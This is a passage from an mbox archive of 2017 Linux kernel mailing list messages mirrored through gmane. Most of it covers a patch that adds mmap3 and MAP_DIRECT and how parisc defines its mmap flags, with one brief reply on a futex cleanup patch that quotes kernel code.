List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:6085 gmane.linux.ports.parisc:27755 gmane.linux.kernel.api:24574 gmane.linux.kernel:2557721 gmane.linux.kernel.mm:178650 gmane.linux.file-systems:125874
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/6085>

On 25.08.2017 18:16, Kirill A. Shutemov wrote:
> On Fri, Aug 25, 2017 at 09:02:36AM -0700, Christoph Hellwig wrote:
>> On Fri, Aug 25, 2017 at 06:58:03PM +0300, Kirill A. Shutemov wrote:
>>> Not all archs are ready for this:
>>>
>>> arch/parisc/include/uapi/asm/mman.h:#define MAP_TYPE    0x03            /* Mask for type of mapping */
>>> arch/parisc/include/uapi/asm/mman.h:#define MAP_FIXED   0x04            /* Interpret addr exactly */
>>
>> I'd be happy to say that we should not care about parisc for
>> persistent memory.  We'll just have to find a way to exclude
>> parisc without making life too ugly.
> 
> I don't think creapling mmap() interface for one arch is the right way to
> go. I think the interface should be universal.
> 
> I may imagine MAP_DIRECT can be useful not only for persistent memory.
> For tmpfs instead of mlock()?

On parisc we have
#define MAP_SHARED      0x01            /* Share changes */
#define MAP_PRIVATE     0x02            /* Changes are private */
#define MAP_TYPE        0x03            /* Mask for type of mapping */
#define MAP_FIXED       0x04            /* Interpret addr exactly */
#define MAP_ANONYMOUS   0x10            /* don't use a file */

So, if you need a MAP_DIRECT, wouldn't e.g.
#define MAP_DIRECT      0x08
be possible (for parisc, and others 0x04).
And if MAP_TYPE needs to include this flag on parisc:
#define MAP_TYPE        (0x03 | 0x08)  /* Mask for type of mapping */

Helge

From - Thu Nov 08 21:40:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Kirill A. Shutemov" <kirill.shutemov@linux.intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.hardware.nvdimm,gmane.linux.kernel.api,gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.file-systems
Subject: Re: [PATCH v6 3/5] mm: introduce mmap3 for safely defining new mmap
 flags
Date: Fri, 25 Aug 2017 19:56:12 +0300
Lines: 42
Approved: news@gmane.org
Message-ID: <20170825165612.xsv3akgjk6tajcpk@black.fi.intel.com>
References: <150353211413.5039.5228914877418362329.stgit@dwillia2-desk3.amr.corp.intel.com>
 <150353213097.5039.6729469069608762658.stgit@dwillia2-desk3.amr.corp.intel.com>
 <20170824165546.GA3121@infradead.org>
 <CAPcyv4iN0QpUSgOUvisnNQsiV1Pp=4dh7CwAV8FFj=_rFU=aug@mail.gmail.com>
 <20170825130011.GA30072@infradead.org>
 <20170825155803.4km7wttzadfqw2vb@node.shutemov.name>
 <20170825160236.GA2561@infradead.org>
 <20170825161607.6v6beg4zjktllt2z@node.shutemov.name>
 <4de21e8d-5e10-ec40-c731-0c079953cf48@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1503680180 19037 195.159.176.226 (25 Aug 2017 16:56:20 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 25 Aug 2017 16:56:20 +0000 (UTC)
User-Agent: NeoMutt/20170714-126-deb55f (1.8.3)
Cc: "Kirill A. Shutemov" <kirill@shutemov.name>,
        Christoph Hellwig <hch@infradead.org>,
        Dan Williams <dan.j.williams@intel.com>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jan Kara <jack@suse.cz>, Arnd Bergmann <arnd@arndb.de>,
        "linux-nvdimm@lists.01.org" <linux-nvdimm@lists.01.org>,
        Linux API <linux-api@vger.kernel.org>,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        linux-xfs@vger.kernel.org, Linux MM <linux-mm@kvack.org>,
        Andy Lutomirski <luto@kernel.org>,
        linux-fsdevel <linux-fsdevel@vger.kernel.org>,
        linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 25 18:56:14 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dlHu0-0006uN-8u
	for glpp-linux-parisc@m.gmane.org; Fri, 25 Aug 2017 18:56:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754476AbdHYQ4T (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 25 Aug 2017 12:56:19 -0400
Original-Received: from mga02.intel.com ([134.134.136.20]:25030 "EHLO mga02.intel.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1754231AbdHYQ4R (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 25 Aug 2017 12:56:17 -0400
Original-Received: from orsmga001.jf.intel.com ([10.7.209.18])
  by orsmga101.jf.intel.com with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384; 25 Aug 2017 09:56:17 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.41,426,1498546800"; 
   d="scan'208";a="1166142348"
Original-Received: from black.fi.intel.com ([10.237.72.28])
  by orsmga001.jf.intel.com with ESMTP; 25 Aug 2017 09:56:13 -0700
Original-Received: by black.fi.intel.com (Postfix, from userid 1000)
        id 52A25110; Fri, 25 Aug 2017 19:56:12 +0300 (EEST)
Content-Disposition: inline
In-Reply-To: <4de21e8d-5e10-ec40-c731-0c079953cf48@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27756 gmane.linux.hardware.nvdimm:6086 gmane.linux.kernel.api:24577 gmane.linux.kernel:2557760 gmane.linux.kernel.mm:178654 gmane.linux.file-systems:125876
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27756>

On Fri, Aug 25, 2017 at 04:19:19PM +0000, Helge Deller wrote:
> On 25.08.2017 18:16, Kirill A. Shutemov wrote:
> > On Fri, Aug 25, 2017 at 09:02:36AM -0700, Christoph Hellwig wrote:
> >> On Fri, Aug 25, 2017 at 06:58:03PM +0300, Kirill A. Shutemov wrote:
> >>> Not all archs are ready for this:
> >>>
> >>> arch/parisc/include/uapi/asm/mman.h:#define MAP_TYPE    0x03            /* Mask for type of mapping */
> >>> arch/parisc/include/uapi/asm/mman.h:#define MAP_FIXED   0x04            /* Interpret addr exactly */
> >>
> >> I'd be happy to say that we should not care about parisc for
> >> persistent memory.  We'll just have to find a way to exclude
> >> parisc without making life too ugly.
> > 
> > I don't think creapling mmap() interface for one arch is the right way to
> > go. I think the interface should be universal.
> > 
> > I may imagine MAP_DIRECT can be useful not only for persistent memory.
> > For tmpfs instead of mlock()?
> 
> On parisc we have
> #define MAP_SHARED      0x01            /* Share changes */
> #define MAP_PRIVATE     0x02            /* Changes are private */
> #define MAP_TYPE        0x03            /* Mask for type of mapping */
> #define MAP_FIXED       0x04            /* Interpret addr exactly */
> #define MAP_ANONYMOUS   0x10            /* don't use a file */
> 
> So, if you need a MAP_DIRECT, wouldn't e.g.
> #define MAP_DIRECT      0x08
> be possible (for parisc, and others 0x04).
> And if MAP_TYPE needs to include this flag on parisc:
> #define MAP_TYPE        (0x03 | 0x08)  /* Mask for type of mapping */

I guess it's better to re-define MAP_TYPE as 0x3 everywhere and make
MAP_DIRECT a normal flag. It's not new type of mapping anyway.

-- 
 Kirill A. Shutemov
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Dan Williams <dan.j.williams@intel.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.hardware.nvdimm,gmane.linux.kernel.api,gmane.linux.kernel,gmane.linux.file-systems,gmane.linux.ports.parisc
Subject: Re: [PATCH v6 3/5] mm: introduce mmap3 for safely defining new mmap flags
Date: Fri, 25 Aug 2017 13:24:31 -0700
Lines: 53
Approved: news@gmane.org
Message-ID: <CAPcyv4jeZc8P+E0aHNChzy-wfNpOx3GehKck1nXqJ1b9JdydFA@mail.gmail.com>
References: <150353211413.5039.5228914877418362329.stgit@dwillia2-desk3.amr.corp.intel.com>
 <150353213097.5039.6729469069608762658.stgit@dwillia2-desk3.amr.corp.intel.com>
 <20170824165546.GA3121@infradead.org> <CAPcyv4iN0QpUSgOUvisnNQsiV1Pp=4dh7CwAV8FFj=_rFU=aug@mail.gmail.com>
 <20170825130011.GA30072@infradead.org> <20170825155803.4km7wttzadfqw2vb@node.shutemov.name>
 <20170825160236.GA2561@infradead.org> <20170825161607.6v6beg4zjktllt2z@node.shutemov.name>
 <4de21e8d-5e10-ec40-c731-0c079953cf48@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1503692680 26347 195.159.176.226 (25 Aug 2017 20:24:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 25 Aug 2017 20:24:40 +0000 (UTC)
Cc: "Kirill A. Shutemov" <kirill@shutemov.name>, Christoph Hellwig <hch@infradead.org>, 
	Andrew Morton <akpm@linux-foundation.org>, Jan Kara <jack@suse.cz>, Arnd Bergmann <arnd@arndb.de>, 
	"linux-nvdimm@lists.01.org" <linux-nvdimm@lists.01.org>, Linux API <linux-api@vger.kernel.org>, 
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>, linux-xfs@vger.kernel.org, 
	Linux MM <linux-mm@kvack.org>, Andy Lutomirski <luto@kernel.org>, 
	linux-fsdevel <linux-fsdevel@vger.kernel.org>, 
	"Kirill A. Shutemov" <kirill.shutemov@linux.intel.com>, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-linux-mm@kvack.org Fri Aug 25 22:24:34 2017
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1dlL9c-0006CC-0W
	for glkm-linux-mm-2@m.gmane.org; Fri, 25 Aug 2017 22:24:32 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 5E5A46B049E; Fri, 25 Aug 2017 16:24:33 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 56FB46B049F; Fri, 25 Aug 2017 16:24:33 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 437B06B04A0; Fri, 25 Aug 2017 16:24:33 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-oi0-f71.google.com (mail-oi0-f71.google.com [209.85.218.71])
	by kanga.kvack.org (Postfix) with ESMTP id 17ADF6B049E
	for <linux-mm@kvack.org>; Fri, 25 Aug 2017 16:24:33 -0400 (EDT)
Original-Received: by mail-oi0-f71.google.com with SMTP id d66so760479oib.2
        for <linux-mm@kvack.org>; Fri, 25 Aug 2017 13:24:33 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:dkim-signature:mime-version:in-reply-to
         :references:from:date:message-id:subject:to:cc;
        bh=Uq4UMcw1hzyla9RP7dfY4qFr4QIBsP+RPXO+0FrhY6M=;
        b=jQWhkp68CxfGAzF4icUOJd96Kh4rrNr+XaJmj1D3EcZVZio7LaTlV3TVsrMYfz8z8F
         pk+lCXnl6HaG4yqYMJotr8oML1KOTJexDVnmCQ/67K6tjK4RWX3kpiV3oI6Nu6ZSlvpF
         URtszL0HSrrTgrv+dOX2nKxTNhk5dqTcfe1jxiIHO7ZmrDNcndRrzDpQCj7CsT1Lwufg
         I97X+en6YDw8C8+E/vJPcfoiXUu40GaYJ2aL0AXGmPOYFxjtCKe4VcYBWK6OYXxuSc3x
         fXNLeLq3pKVh39gzvGRNz+atN/2rRmO/fV1G2CgzlVToWcsizgVqSjrX4FVg+xLL2GW6
         fzaA==
X-Gm-Message-State: AHYfb5irXshTlEqt/6/3Y/QyKlgaK2k09qZn52pAm06VMY2s1cUnINaS
	WjouVx0ZCWszc2sPlvTckR717yMW5Vi6n0aYeMbrOzBHa6ABx0yfUajI27yXv4S2va2lnd/RTQr
	IUp93mpzFIiLcTxWBqvjKq0eX6LcGJEKjx9MaSIFJ5HdKI0sT90Qij3Jzgnhjoai3Pmy7Ywro3U
	Fsz7nayG9UZ75CGytuTfzgPOWn/fRouBX80mYbxoa8/I5wFK3+LUKf9PpwiUcfF8afK/gqOSzXT
	r8SmQgBwc0MODt6IVv8HW95Xo4V8To2m+dT1hlM9hYtsU9b7DJsOzqwlTTBop5gcVgxbers/tgz
	zj117SqMD19uOfsYmyP05MxmDVdu/3bPRiRYWDWOUTvw6nWTHqJY2WUibFQmGIcLFFA=
X-Received: by 10.202.208.80 with SMTP id h77mr12561303oig.141.1503692672788;
        Fri, 25 Aug 2017 13:24:32 -0700 (PDT)
X-Received: by 10.202.208.80 with SMTP id h77mr12561271oig.141.1503692672144;
        Fri, 25 Aug 2017 13:24:32 -0700 (PDT)
ARC-Seal: i=1; a=rsa-sha256; t=1503692672; cv=none;
        d=google.com; s=arc-20160816;
        b=RFiUkzy8vs0Gt7eheEl4/3j/sBghG4zy5F4im2B8tc5+uJAoXP+IczAktjSn6VMRq1
         pQDFQiSPgkTzFCIETEFdIqPjY6VprK62YHsDUBosBdYi+6+qR3Q/5YHlxeAG0fhY5hN0
         NT8xwvC3xp5OadnZuYW89G5+W01D9271J8Ox/wK+duc+0281bsFMsAWNBSk/MGGunGxB
         aVIWokBApYkyTyA0yWLqio8euXHQ9ivmtN0gfb+bnRY51oe1a3vCE92LWmhlTxbKWNpG
         +KNEp2xLZ5jGQMMvkbpHpDg2lszAzd/qib7xS5CA/JrDRcUBRx5eOuP3ffNIiAN4Lpni
         1WEw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20160816;
        h=cc:to:subject:message-id:date:from:references:in-reply-to
         :mime-version:dkim-signature:arc-authentication-results;
        bh=Uq4UMcw1hzyla9RP7dfY4qFr4QIBsP+RPXO+0FrhY6M=;
        b=qtKcArmxvFKX23UJ8axqMOKDhrTZzkZLfKGf27eAkhlj1MalNH8cTjTcV/OHTY3KJr
         tEPk4OS4xDx0CVBxYT6CxDRgQErLLS4OXzralMfp1oJ8xPrRLkkSjcyEuplHwKXXF3pr
         DGfQsstU4Z5sgu2M6BlkMAzGz3CR7kYIwL8uBIGt27f3CQc6Yvb8oLk8XC3AotLUAOtq
         8jHWOY+JttJ8G+G90fP3AY0ClP7mRonKvnuBGAJ8KtMdh5D6tA0Y3/Tz1t9GCKILOb8N
         qFWsEiwn4Gcr8Z6TY9K9uiObLUeB9kgE7PNppBuFkYXRiNsRijd7tsMvvaI+M8aE4HsC
         sT5w==
ARC-Authentication-Results: i=1; mx.google.com;
       dkim=pass header.i=@intel-com.20150623.gappssmtp.com header.s=20150623 header.b=wEvSsZjz;
       spf=pass (google.com: domain of dan.j.williams@intel.com designates 2607:f8b0:4003:c06::232 as permitted sender) smtp.mailfrom=dan.j.williams@intel.com
Original-Received: from mail-oi0-x232.google.com (mail-oi0-x232.google.com. [2607:f8b0:4003:c06::232])
        by mx.google.com with ESMTPS id j186si6212354oia.7.2017.08.25.13.24.31
        for <linux-mm@kvack.org>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 25 Aug 2017 13:24:32 -0700 (PDT)
Received-SPF: pass (google.com: domain of dan.j.williams@intel.com designates 2607:f8b0:4003:c06::232 as permitted sender) client-ip=2607:f8b0:4003:c06::232;
Authentication-Results: mx.google.com;
       dkim=pass header.i=@intel-com.20150623.gappssmtp.com header.s=20150623 header.b=wEvSsZjz;
       spf=pass (google.com: domain of dan.j.williams@intel.com designates 2607:f8b0:4003:c06::232 as permitted sender) smtp.mailfrom=dan.j.williams@intel.com
Original-Received: by mail-oi0-x232.google.com with SMTP id r9so7592737oie.3
        for <linux-mm@kvack.org>; Fri, 25 Aug 2017 13:24:31 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=intel-com.20150623.gappssmtp.com; s=20150623;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc;
        bh=Uq4UMcw1hzyla9RP7dfY4qFr4QIBsP+RPXO+0FrhY6M=;
        b=wEvSsZjzqaY6SIzsn2rfHlrNQP50E9ADn+OKFwazgPzFc5MSsG6EM+LvngmzmWsplJ
         6ahr4SwQzlYE1qoO8Wo141k2gOwPYdaefJAXdyuL4FhvKmPMVDrNEFS55EHm3p1Pr6dt
         6SZad+ZEbHZeaHoOp1ahzmdxg5fdsgqO9Qtj/ffHJdFYrnoQnDMT/LWwzww/u9gHVXRP
         B/c82ihY/lRNFg/YsXP06QfKEZ80p+TX5ekJ1VcYhSkyPUsXdQ/uSGnhw3ybUVa1SaSF
         vrGsBBnkVRTeWh3ynFAIPVvERjI/YwqGz4cgCx0WMNiBLhbYulrLBOkmDQtAxi9znMi4
         JNsg==
X-Received: by 10.202.60.132 with SMTP id j126mr13836355oia.115.1503692671705;
 Fri, 25 Aug 2017 13:24:31 -0700 (PDT)
Original-Received: by 10.157.42.3 with HTTP; Fri, 25 Aug 2017 13:24:31 -0700 (PDT)
In-Reply-To: <4de21e8d-5e10-ec40-c731-0c079953cf48@gmx.de>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:178661 gmane.linux.hardware.nvdimm:6088 gmane.linux.kernel.api:24582 gmane.linux.kernel:2557874 gmane.linux.file-systems:125879 gmane.linux.ports.parisc:27757
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/178661>

On Fri, Aug 25, 2017 at 9:19 AM, Helge Deller <deller@gmx.de> wrote:
> On 25.08.2017 18:16, Kirill A. Shutemov wrote:
>> On Fri, Aug 25, 2017 at 09:02:36AM -0700, Christoph Hellwig wrote:
>>> On Fri, Aug 25, 2017 at 06:58:03PM +0300, Kirill A. Shutemov wrote:
>>>> Not all archs are ready for this:
>>>>
>>>> arch/parisc/include/uapi/asm/mman.h:#define MAP_TYPE    0x03            /* Mask for type of mapping */
>>>> arch/parisc/include/uapi/asm/mman.h:#define MAP_FIXED   0x04            /* Interpret addr exactly */
>>>
>>> I'd be happy to say that we should not care about parisc for
>>> persistent memory.  We'll just have to find a way to exclude
>>> parisc without making life too ugly.
>>
>> I don't think creapling mmap() interface for one arch is the right way to
>> go. I think the interface should be universal.
>>
>> I may imagine MAP_DIRECT can be useful not only for persistent memory.
>> For tmpfs instead of mlock()?
>
> On parisc we have
> #define MAP_SHARED      0x01            /* Share changes */
> #define MAP_PRIVATE     0x02            /* Changes are private */
> #define MAP_TYPE        0x03            /* Mask for type of mapping */
> #define MAP_FIXED       0x04            /* Interpret addr exactly */
> #define MAP_ANONYMOUS   0x10            /* don't use a file */
>
> So, if you need a MAP_DIRECT, wouldn't e.g.
> #define MAP_DIRECT      0x08
> be possible (for parisc, and others 0x04).
> And if MAP_TYPE needs to include this flag on parisc:
> #define MAP_TYPE        (0x03 | 0x08)  /* Mask for type of mapping */

The problem here is that to support new the mmap flags the arch needs
to find a flag that is guaranteed to fail on older kernels. Defining
MAP_DIRECT to 0x8 on parisc doesn't work because it will simply be
ignored on older parisc kernels.

However, it's already the case that several archs have their own
sys_mmap entry points. Those archs that can't follow the common scheme
(only parsic it seems) will need to add a new mmap syscall. I think
that's a reasonable tradeoff to allow every other architecture to add
this support with their existing mmap syscall paths.

That means MAP_DIRECT should be defined to MAP_TYPE on parisc until it
later defines an opt-in mechanism to a new syscall that honors
MAP_DIRECT as a valid flag.

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:40:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v2 1/1] futex: remove duplicated code and fix UB
Date: Fri, 25 Aug 2017 22:43:41 +0200 (CEST)
Lines: 31
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.20.1708252243020.2124@nanos>
References: <20170824073105.3901-1-jslaby@suse.cz>
 <20170824094756.GA6346@arm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1503693944 4555 195.159.176.226 (25 Aug 2017 20:45:44 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 25 Aug 2017 20:45:44 +0000 (UTC)
User-Agent: Alpine 2.20 (DEB 67 2015-01-07)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org, peterz@infradead.org,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Max Filippov <jcmvbkbc@gmail.com>, Paul Mackerras <paulus@samba.org>,
 "H. Peter Anvin" <hpa@zytor.com>, sparclinux@vger.kernel.org,
 Jiri Slaby <jslaby@suse.cz>, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, linux-arch@vger.kernel.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>, linux-hexagon@vger.kernel.org,
 Helge Deller <deller@gmx.de>, x86@kernel.org,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, mingo@redhat.com,
 Catalin Marinas <catalin.marinas@arm.com>, dvhart@infradead.org,
 Matt Turner <mattst88@gmail.com>, linux-snps-arc@lists.infradead.org,
 Fenghua Yu <fenghua.yu@intel.com>, Arnd Bergmann <arnd@arndb.de>,
 linux-xtensa@linux-xtensa.org,
 Stefan Kristiansson <stefan
To: Will Deacon <will.deacon@arm.com>
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Fri Aug 25 22:45:33 2017
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([65.50.211.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1dlLTr-0000KI-PV
	for linux-arm-kernel@m.gmane.org; Fri, 25 Aug 2017 22:45:28 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:MIME-Version:References:Message-ID:
	In-Reply-To:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=6cGgc292RtDsTw2FbkcoDsB9ktHCDQVKisSTidrMDjY=; b=RNrCNyEG8W3K0i
	ZZyUac5lZtojyBylPeBpr0N2tLDk0Ez8Vkshos6R1a2hdAanBJEshDbQXfC2ROQasn9qPxiAXkMys
	KSj+ecGDNqykV/chXqb/w6y8/xCwJVCIJdszvOg0XogjSbPgZN+ilXY4S6lx9IVTS8nHFxNPrh0+T
	e/akRqvd924qzi6MeeOg+Ssq8g5cq/RmtYRzp1NnzD8JEHn/vUHfq/Cpg0js9o5VHDSerNTfBgWAC
	wUrMcnikOLrUNWkfP7oSmeDdL1IWIOHxTF+k8m3JIgTijZFqywOIeHkhxGcgO3lr9MBu4j8XKmxN0
	Uf4UW8NRYJ0mZe9k4hew==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.87 #1 (Red Hat Linux))
	id 1dlLTt-00080W-A5; Fri, 25 Aug 2017 20:45:29 +0000
Original-Received: from galois.linutronix.de ([2a01:7a0:2:106d:700::1])
 by bombadil.infradead.org with esmtps (Exim 4.87 #1 (Red Hat Linux))
 id 1dlLTp-0006lj-0X; Fri, 25 Aug 2017 20:45:27 +0000
Original-Received: from p5492fdbb.dip0.t-ipconnect.de ([84.146.253.187] helo=nanos)
 by Galois.linutronix.de with esmtpsa (TLS1.2:DHE_RSA_AES_256_CBC_SHA256:256)
 (Exim 4.80) (envelope-from <tglx@linutronix.de>)
 id 1dlLR2-0001kk-0o; Fri, 25 Aug 2017 22:42:32 +0200
In-Reply-To: <20170824094756.GA6346@arm.com>
X-Linutronix-Spam-Score: -1.0
X-Linutronix-Spam-Level: -
X-Linutronix-Spam-Status: No , -1.0 points, 5.0 required, ALL_TRUSTED=-1,
 SHORTCIRCUIT=-0.0001
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20170825_134525_243056_5770358C 
X-CRM114-Status: GOOD (  16.39  )
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:600272 gmane.linux.ports.mips.general:61017 gmane.linux.ports.ia64:28083 gmane.linux.ports.sh.devel:55745 gmane.linux.ports.sparc:26413 gmane.linux.kernel.cross-arch:39018 gmane.linux.ports.hexagon:1374 gmane.linux.kernel.arc:2885 gmane.linux.ports.parisc:27758 gmane.linux.kernel:2557889 gmane.linux.ports.alpha:4374 gmane.linux.ports.ppc64.devel:147049
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/600272>

On Thu, 24 Aug 2017, Will Deacon wrote:
> On Thu, Aug 24, 2017 at 09:31:05AM +0200, Jiri Slaby wrote:
> > +static int futex_atomic_op_inuser(unsigned int encoded_op, u32 __user *uaddr)
> > +{
> > +	unsigned int op =	  (encoded_op & 0x70000000) >> 28;
> > +	unsigned int cmp =	  (encoded_op & 0x0f000000) >> 24;
> > +	int oparg = sign_extend32((encoded_op & 0x00fff000) >> 12, 12);
> > +	int cmparg = sign_extend32(encoded_op & 0x00000fff, 12);
> > +	int oldval, ret;
> > +
> > +	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28)) {
> > +		if (oparg < 0 || oparg > 31)
> > +			return -EINVAL;
> > +		oparg = 1 << oparg;
> > +	}
> > +
> > +	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
> > +		return -EFAULT;
> > +
> > +	ret = arch_futex_atomic_op_inuser(op, oparg, &oldval, uaddr);
> > +	if (ret)
> > +		return ret;
> 
> We could move the pagefault_{disable,enable} calls here, and then remove
> them from the futex_atomic_op_inuser callsites elsewhere in futex.c

Correct, but we can do that after getting this in.

Thanks,

	tglx

From - Thu Nov 08 21:40:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
